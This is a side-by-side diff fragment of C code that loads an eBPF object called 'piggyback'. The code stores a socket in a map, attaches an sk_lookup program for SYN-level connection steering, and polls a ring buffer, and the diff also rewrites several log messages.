obj = bpf_object__open("piggyback.bpf.o"); obj = bpf_object__open("piggyback.bpf.o");
if (!obj) { log_err("bpf_object__open failed"); return 1; } if (!obj) { log_err("bpf_object__open failed"); return 1; }
if (bpf_object__load(obj)) { log_err("bpf_object__load failed"); return 1; } if (bpf_object__load(obj)) { log_err("bpf_object__load failed"); return 1; }
int sock_map_fd = bpf_object__find_map_fd_by_name(obj, "daemon_sock"); int sock_map_fd = bpf_object__find_map_fd_by_name(obj, "daemon_sock");
if (sock_map_fd >= 0) { if (sock_map_fd >= 0) {
uint32_t key = 0; uint32_t key = 0, val = (uint32_t)accept_fd;
uint32_t val = (uint32_t)accept_fd;
bpf_map_update_elem(sock_map_fd, &key, &val, BPF_ANY); bpf_map_update_elem(sock_map_fd, &key, &val, BPF_ANY);
} }
@ -517,17 +435,15 @@ int main(void) {
struct bpf_program *sk_prog = bpf_object__find_program_by_name(obj, "piggyback_lookup"); struct bpf_program *sk_prog = bpf_object__find_program_by_name(obj, "piggyback_lookup");
if (sk_prog && attach_sklookup(sk_prog) < 0) if (sk_prog && attach_sklookup(sk_prog) < 0)
log_info("sk_lookup attach failed — SYN-level steering disabled"); log_info("sk_lookup attach failed — SYN steering disabled, falling back");
int rb_fd = bpf_object__find_map_fd_by_name(obj, "events"); int rb_fd = bpf_object__find_map_fd_by_name(obj, "events");
struct ring_buffer *rb = ring_buffer__new(rb_fd, handle_event, NULL, NULL); struct ring_buffer *rb = ring_buffer__new(rb_fd, handle_event, NULL, NULL);
if (!rb) { log_err("ring_buffer__new failed"); return 1; } if (!rb) { log_err("ring_buffer__new failed"); return 1; }
log_info("piggyback running on %s port %d → %s:%d", log_info("running on %s port %d", iface_name, LISTEN_PORT);
iface_name, LISTEN_PORT, FWD_HOST, FWD_PORT);
while (running) while (running) ring_buffer__poll(rb, 100);
ring_buffer__poll(rb, 100);
log_info("shutting down..."); log_info("shutting down...");
dump_stats(); dump_stats();